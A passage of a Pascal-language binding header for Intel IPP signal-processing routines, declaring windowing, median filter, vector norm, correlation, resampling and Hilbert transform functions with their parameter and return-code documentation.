function ippsWinHamming_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsWinBlackman
Purpose: multiply vector by Blackman windowing function
Parameters:
pSrcDst pointer to the vector
len length of the vector, window size
alpha adjustable parameter associated with the
Blackman windowing equation
alphaQ15 scaled (scale factor 15) version of the alpha
scaleFactor scale factor of the output signal
Return:
ippStsNullPtrErr pointer to the vector is NULL
ippStsSizeErr length of the vector is less 3, for Opt it`s 4
ippStsNoErr otherwise
Notes:
parameter alpha value
WinBlackmaStd : -0.16
WinBlackmaOpt : -0.5 / (1+cos(2*pi/(len-1)))
}
function ippsWinBlackman_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinBlackman_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinBlackman_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinBlackman_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinBlackman_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinBlackman_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinBlackman_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinBlackman_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinBlackmanStd_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanStd_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanStd_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanStd_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanStd_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanStd_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanStd_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanStd_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackman_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; alpha : double ): IppStatus; _ippapi
function ippsWinBlackman_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ; alpha : double ): IppStatus; _ippapi
function ippsWinBlackman_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; alpha : double ): IppStatus; _ippapi
function ippsWinBlackman_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ; alpha : double ): IppStatus; _ippapi
function ippsWinBlackmanStd_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanStd_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanStd_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanStd_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsWinBlackmanOpt_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsWinKaiser
Purpose: multiply vector by Kaiser windowing function
Parameters:
pSrcDst pointer to the vector
len length of the vector, window size
alpha adjustable parameter associated with the
Kaiser windowing equation
alphaQ15 scaled (scale factor 15) version of the alpha
Return:
ippStsNullPtrErr pointer to the vector is NULL
ippStsSizeErr length of the vector is less 1
ippStsHugeWinErr window in function is huge
ippStsNoErr otherwise
}
function ippsWinKaiser_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinKaiser_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinKaiser_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinKaiser_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinKaiser_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinKaiser_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinKaiser_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinKaiser_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; alpha : float ): IppStatus; _ippapi
function ippsWinKaiser_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; alpha : Ipp64f ): IppStatus; _ippapi
function ippsWinKaiser_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; alpha : Ipp64f ): IppStatus; _ippapi
function ippsWinKaiser_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ; alpha : Ipp64f ): IppStatus; _ippapi
function ippsWinKaiser_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ; alpha : Ipp64f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Median filter
----------------------------------------------------------------------------
Names: ippsFilterMedianGetBufferSize
Purpose: Get sizes of working buffer for functions ipsFilterMedian
Parameters:
maskSize median mask size (odd)
dataType data type
pBufferSize pointer to buffer size
Return:
ippStsNullPtrErr pointer to pBufferSize is NULL
ippStsMaskSizeErr maskSize is is less or equal zero
ippStsDataTypeErr data type is incorrect or not supported.
ippStsNoErr otherwise
}
function ippsFilterMedianGetBufferSize( maskSize : Int32 ; dataType : IppDataType ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsFilterMedian
Purpose: filter source data by the Median Filter
Parameters:
pSrcDst pointer to the source and destinaton vector
pSrc pointer to the source vector
pDst pointer to the destination vector
len length of the vector(s)
maskSize median mask size (odd)
pDlySrc pointer to the input delay line values (length is (maskSize-1)), can be NULL
pDlyDst pointer to the output delay line values (length is (maskSize-1)), can be NULL
pBuffer pointer to the work buffer
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vector(s) is less or equal zero
ippStsMaskSizeErr maskSize is is less or equal zero
ippStsEvenMedianMaskSize median mask size is even warning
ippStsNoErr otherwise
Notes:
if pDlySrc is NULL for all i < 0 pSrc[i] = pSrc[0]
}
function ippsFilterMedian_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; maskSize : Int32 ; pDlySrc : Ipp32fPtr ; pDlyDst : Ipp32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFilterMedian_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; maskSize : Int32 ; pDlySrc : Ipp64fPtr ; pDlyDst : Ipp64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFilterMedian_32s( pSrc : Ipp32sPtr ; pDst : Ipp32sPtr ; len : Int32 ; maskSize : Int32 ; pDlySrc : Ipp32sPtr ; pDlyDst : Ipp32sPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFilterMedian_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; maskSize : Int32 ; pDlySrc : Ipp16sPtr ; pDlyDst : Ipp16sPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFilterMedian_8u( pSrc : Ipp8uPtr ; pDst : Ipp8uPtr ; len : Int32 ; maskSize : Int32 ; pDlySrc : Ipp8uPtr ; pDlyDst : Ipp8uPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFilterMedian_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; maskSize : Int32 ; pDlySrc : Ipp32fPtr ; pDlyDst : Ipp32fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFilterMedian_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; maskSize : Int32 ; pDlySrc : Ipp64fPtr ; pDlyDst : Ipp64fPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFilterMedian_32s_I( pSrcDst : Ipp32sPtr ; len : Int32 ; maskSize : Int32 ; pDlySrc : Ipp32sPtr ; pDlyDst : Ipp32sPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFilterMedian_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; maskSize : Int32 ; pDlySrc : Ipp16sPtr ; pDlyDst : Ipp16sPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsFilterMedian_8u_I( pSrcDst : Ipp8uPtr ; len : Int32 ; maskSize : Int32 ; pDlySrc : Ipp8uPtr ; pDlyDst : Ipp8uPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Statistic functions
----------------------------------------------------------------------------
Name: ippsNorm
Purpose: calculate norm of vector
Inf - calculate C-norm of vector: n = MAX |src1|
L1 - calculate L1-norm of vector: n = SUM |src1|
L2 - calculate L2-norm of vector: n = SQRT(SUM |src1|^2)
L2Sqr - calculate L2-norm of vector: n = SUM |src1|^2
Parameters:
pSrc source data pointer
len length of vector
pNorm pointer to result
scaleFactor scale factor value
Returns:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of vector is less or equal zero
Notes:
}
function ippsNorm_Inf_16s32f( pSrc : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNorm_Inf_16s32s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsNorm_Inf_32f( pSrc : Ipp32fPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNorm_Inf_64f( pSrc : Ipp64fPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNorm_L1_16s32f( pSrc : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNorm_L1_16s32s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsNorm_L1_32f( pSrc : Ipp32fPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNorm_L1_64f( pSrc : Ipp64fPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNorm_L2_16s32f( pSrc : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNorm_L2_16s32s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsNorm_L2_32f( pSrc : Ipp32fPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNorm_L2_64f( pSrc : Ipp64fPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNorm_Inf_32fc32f( pSrc : Ipp32fcPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNorm_Inf_64fc64f( pSrc : Ipp64fcPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNorm_L1_32fc64f( pSrc : Ipp32fcPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNorm_L1_64fc64f( pSrc : Ipp64fcPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNorm_L2_32fc64f( pSrc : Ipp32fcPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNorm_L2_64fc64f( pSrc : Ipp64fcPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNorm_L1_16s64s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pNorm : Ipp64sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsNorm_L2Sqr_16s64s_Sfs( pSrc : Ipp16sPtr ; len : Int32 ; pNorm : Ipp64sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsNormDiff
Purpose: calculate norm of vectors
Inf - calculate C-norm of vectors: n = MAX |src1-src2|
L1 - calculate L1-norm of vectors: n = SUM |src1-src2|
L2 - calculate L2-norm of vectors: n = SQRT(SUM |src1-src2|^2)
L2Sqr - calculate L2-norm of vectors: n = SUM |src1-src2|^2
Parameters:
pSrc1, pSrc2 source data pointers
len length of vector
pNorm pointer to result
scaleFactor scale factor value
Returns:
ippStsNoErr Ok
ippStsNullPtrErr Some of pointers to input or output data are NULL
ippStsSizeErr The length of vector is less or equal zero
Notes:
}
function ippsNormDiff_Inf_16s32f( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNormDiff_Inf_16s32s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsNormDiff_Inf_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNormDiff_Inf_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNormDiff_L1_16s32f( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNormDiff_L1_16s32s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsNormDiff_L1_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNormDiff_L1_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNormDiff_L2_16s32f( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNormDiff_L2_16s32s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pNorm : Ipp32sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsNormDiff_L2_32f( pSrc1 : Ipp32fPtr ; pSrc2 : Ipp32fPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNormDiff_L2_64f( pSrc1 : Ipp64fPtr ; pSrc2 : Ipp64fPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNormDiff_Inf_32fc32f( pSrc1 : Ipp32fcPtr ; pSrc2 : Ipp32fcPtr ; len : Int32 ; pNorm : Ipp32fPtr ): IppStatus; _ippapi
function ippsNormDiff_Inf_64fc64f( pSrc1 : Ipp64fcPtr ; pSrc2 : Ipp64fcPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNormDiff_L1_32fc64f( pSrc1 : Ipp32fcPtr ; pSrc2 : Ipp32fcPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNormDiff_L1_64fc64f( pSrc1 : Ipp64fcPtr ; pSrc2 : Ipp64fcPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNormDiff_L2_32fc64f( pSrc1 : Ipp32fcPtr ; pSrc2 : Ipp32fcPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNormDiff_L2_64fc64f( pSrc1 : Ipp64fcPtr ; pSrc2 : Ipp64fcPtr ; len : Int32 ; pNorm : Ipp64fPtr ): IppStatus; _ippapi
function ippsNormDiff_L1_16s64s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pNorm : Ipp64sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsNormDiff_L2Sqr_16s64s_Sfs( pSrc1 : Ipp16sPtr ; pSrc2 : Ipp16sPtr ; len : Int32 ; pNorm : Ipp64sPtr ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Cross-correlation Functions
----------------------------------------------------------------------------
Names: ippsCrossCorrNormGetBufferSize
Purpose: Get the size (in bytes) of the buffer for ippsCrossCorrNorm`s internal calculations.
Parameters:
src1Len - Length of the first source vector.
src2Len - Length of the second source vector.
dstLen - Length of cross-correlation.
lowLag - Cross-correlation lowest lag.
dataType - Data type for convolution (Ipp32f|Ipp32fc|Ipp64f|Ipp64fc).
algType - Selector for the algorithm type. Possible values are the results of composition
of the IppAlgType and IppsNormOp values.
pBufferSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - pBufferSize is NULL.
ippStsSizeErr - Vector`s length is not positive.
ippStsDataTypeErr - Unsupported data type.
ippStsAlgTypeErr - Unsupported algorithm or normalization type.
}
function ippsCrossCorrNormGetBufferSize( src1Len : Int32 ; src2Len : Int32 ; dstLen : Int32 ; lowLag : Int32 ; dataType : IppDataType ; algType : IppEnum ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsCrossCorrNorm_32f, ippsCrossCorrNorm_32fc
ippsCrossCorrNorm_64f, ippsCrossCorrNorm_64fc
Purpose: Calculate the cross-correlation of two vectors.
Parameters:
pSrc1 - Pointer to the first source vector.
src1Len - Length of the first source vector.
pSrc2 - Pointer to the second source vector.
src2Len - Length of the second source vector.
pDst - Pointer to the cross correlation.
dstLen - Length of the cross-correlation.
lowLag - Cross-correlation lowest lag.
algType - Selector for the algorithm type. Possible values are the results of composition
of the IppAlgType and IppsNormOp values.
pBuffer - Pointer to the buffer for internal calculations.
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - One of the pointers is NULL.
ippStsSizeErr - Vector`s length is not positive.
ippStsAlgTypeErr - Unsupported algorithm or normalization type.
}
function ippsCrossCorrNorm_32f( pSrc1 : Ipp32fPtr ; src1Len : Int32 ; pSrc2 : Ipp32fPtr ; src2Len : Int32 ; pDst : Ipp32fPtr ; dstLen : Int32 ; lowLag : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsCrossCorrNorm_64f( pSrc1 : Ipp64fPtr ; src1Len : Int32 ; pSrc2 : Ipp64fPtr ; src2Len : Int32 ; pDst : Ipp64fPtr ; dstLen : Int32 ; lowLag : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsCrossCorrNorm_32fc( pSrc1 : Ipp32fcPtr ; src1Len : Int32 ; pSrc2 : Ipp32fcPtr ; src2Len : Int32 ; pDst : Ipp32fcPtr ; dstLen : Int32 ; lowLag : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsCrossCorrNorm_64fc( pSrc1 : Ipp64fcPtr ; src1Len : Int32 ; pSrc2 : Ipp64fcPtr ; src2Len : Int32 ; pDst : Ipp64fcPtr ; dstLen : Int32 ; lowLag : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
AutoCorrelation Functions
----------------------------------------------------------------------------
Names: ippsAutoCorrNormGetBufferSize
Purpose: : Get the size (in bytes) of the buffer for ippsAutoCorrNorm`s internal calculations.
Parameters:
srcLen - Source vector length.
dstLen - Length of auto-correlation.
dataType - Data type for auto corelation (Ipp32f|Ipp32fc|Ipp64f|Ipp64fc).
algType - Selector for the algorithm type. Possible values are the results of
composition of the IppAlgType and IppsNormOp values.
pBufferSize - Pointer to the calculated buffer size (in bytes).
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - pBufferSize is NULL.
ippStsSizeErr - Vector`s length is not positive.
ippStsDataTypeErr - Unsupported data type.
ippStsAlgTypeErr - Unsupported algorithm or normalization type.
}
function ippsAutoCorrNormGetBufferSize( srcLen : Int32 ; dstLen : Int32 ; dataType : IppDataType ; algType : IppEnum ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsAutoCorrNorm_32f, ippsAutoCorrNorm_64f
ippsAutoCorrNorm_32fc, ippsAutoCorrNorm_64fc
Purpose: Calculate the auto-correlation,
ippNormNone specifies the normal auto-correlation.
ippNormA specifies the biased auto-correlation
(the resulting values are divided by srcLen).
ippNormB specifies the unbiased auto-correlation
(the resulting values are divided by ( srcLen - n ),
where "n" indicates current iteration).
Parameters:
pSrc - Pointer to the source vector.
srcLen - Source vector length.
pDst - Pointer to the auto-correlation result vector.
dstLen - Length of auto-correlation.
algType - Selector for the algorithm type. Possible values are the results
of composition of the IppAlgType and IppsNormOp values.
pBuffer - Pointer to the buffer for internal calculations.
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - One of the pointers is NULL.
ippStsSizeErr - Vector`s length is not positive.
ippStsAlgTypeErr - Unsupported algorithm or normalization type.
}
function ippsAutoCorrNorm_32f( pSrc : Ipp32fPtr ; srcLen : Int32 ; pDst : Ipp32fPtr ; dstLen : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsAutoCorrNorm_64f( pSrc : Ipp64fPtr ; srcLen : Int32 ; pDst : Ipp64fPtr ; dstLen : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsAutoCorrNorm_32fc( pSrc : Ipp32fcPtr ; srcLen : Int32 ; pDst : Ipp32fcPtr ; dstLen : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippsAutoCorrNorm_64fc( pSrc : Ipp64fcPtr ; srcLen : Int32 ; pDst : Ipp64fcPtr ; dstLen : Int32 ; algType : IppEnum ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Sampling functions
{ ----------------------------------------------------------------------------
Name: ippsSampleUp
Purpose: upsampling, i.e. expansion of input vector to get output vector
by simple adding zeroes between input elements
Parameters:
pSrc (in) pointer to the input vector
pDst (in) pointer to the output vector
srcLen (in) length of input vector
pDstLen (out) pointer to the length of output vector
factor (in) the number of output elements, corresponding to one element
of input vector.
pPhase(in-out) pointer to value, that is the position (0, ..., factor-1) of
element from input vector in the group of factor elements of
output vector. Out value is ready to continue upsampling with
the same factor (out = in).
Return:
ippStsNullPtrErr one or several pointers pSrc, pDst, pDstLen or pPhase
is NULL
ippStsSizeErr length of input vector is less or equal zero
ippStsSampleFactorErr factor <= 0
ippStsSamplePhaseErr *pPhase < 0 or *pPhase >= factor
ippStsNoErr otherwise
}
function ippsSampleUp_32f( pSrc : Ipp32fPtr ; srcLen : Int32 ; pDst : Ipp32fPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
function ippsSampleUp_32fc( pSrc : Ipp32fcPtr ; srcLen : Int32 ; pDst : Ipp32fcPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
function ippsSampleUp_64f( pSrc : Ipp64fPtr ; srcLen : Int32 ; pDst : Ipp64fPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
function ippsSampleUp_64fc( pSrc : Ipp64fcPtr ; srcLen : Int32 ; pDst : Ipp64fcPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
function ippsSampleUp_16s( pSrc : Ipp16sPtr ; srcLen : Int32 ; pDst : Ipp16sPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
function ippsSampleUp_16sc( pSrc : Ipp16scPtr ; srcLen : Int32 ; pDst : Ipp16scPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsSampleDown
Purpose: subsampling, i.e. only one of "factor" elements of input vector
are placed to output vector
Parameters:
pSrc (in) pointer to the input vector
pDst (in) pointer to the output vector
srcLen (in) length of input vector
pDstLen (out) pointer to the length of output vector
factor (in) the number of input elements, corresponding to one element
of output vector.
pPhase(in-out) pointer to value, that is the position (0, ..., factor-1) of
chosen element in the group of "factor" elements. Out value
of *pPhase is ready to continue subsampling with the same
factor.
Return:
ippStsNullPtrErr one or several pointers pSrc, pDst, pDstLen or pPhase
is NULL
ippStsSizeErr length of input vector is less or equal zero
ippStsSampleFactorErr factor <= 0
ippStsSamplePhaseErr *pPhase < 0 or *pPhase >=factor
ippStsNoErr otherwise
}
function ippsSampleDown_32f( pSrc : Ipp32fPtr ; srcLen : Int32 ; pDst : Ipp32fPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
function ippsSampleDown_32fc( pSrc : Ipp32fcPtr ; srcLen : Int32 ; pDst : Ipp32fcPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
function ippsSampleDown_64f( pSrc : Ipp64fPtr ; srcLen : Int32 ; pDst : Ipp64fPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
function ippsSampleDown_64fc( pSrc : Ipp64fcPtr ; srcLen : Int32 ; pDst : Ipp64fcPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
function ippsSampleDown_16s( pSrc : Ipp16sPtr ; srcLen : Int32 ; pDst : Ipp16sPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
function ippsSampleDown_16sc( pSrc : Ipp16scPtr ; srcLen : Int32 ; pDst : Ipp16scPtr ; pDstLen : Int32Ptr ; factor : Int32 ; pPhase : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Definitions for Hilbert Functions
----------------------------------------------------------------------------
Name: ippsHilbert
Purpose: Computes Hilbert transform of the real signal.
Arguments:
pSrc - Pointer to source real signal
pDst - Pointer to destination complex signal
pSpec - Pointer to Hilbert context.
pBuffer - Pointer to the buffer for internal calculations.
scaleFactor - Scale factor for output signal.
Return:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsContextMatchErr - Error when pSpec initialized incorect.
}
function ippsHilbert_32f32fc( pSrc : Ipp32fPtr ; pDst : Ipp32fcPtr ; pSpec : IppsHilbertSpecPtr ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsHilbertGetSize
Purpose: Get sizes (in bytes) of the IppsHilbertSpec spec structure and temporary buffer.
Parameters:
length - Number of samples in Hilbert.
hint - Option to select the algorithmic implementation of the transform function (DFT).
pSpecSize - Pointer to the calculated spec size (in bytes).
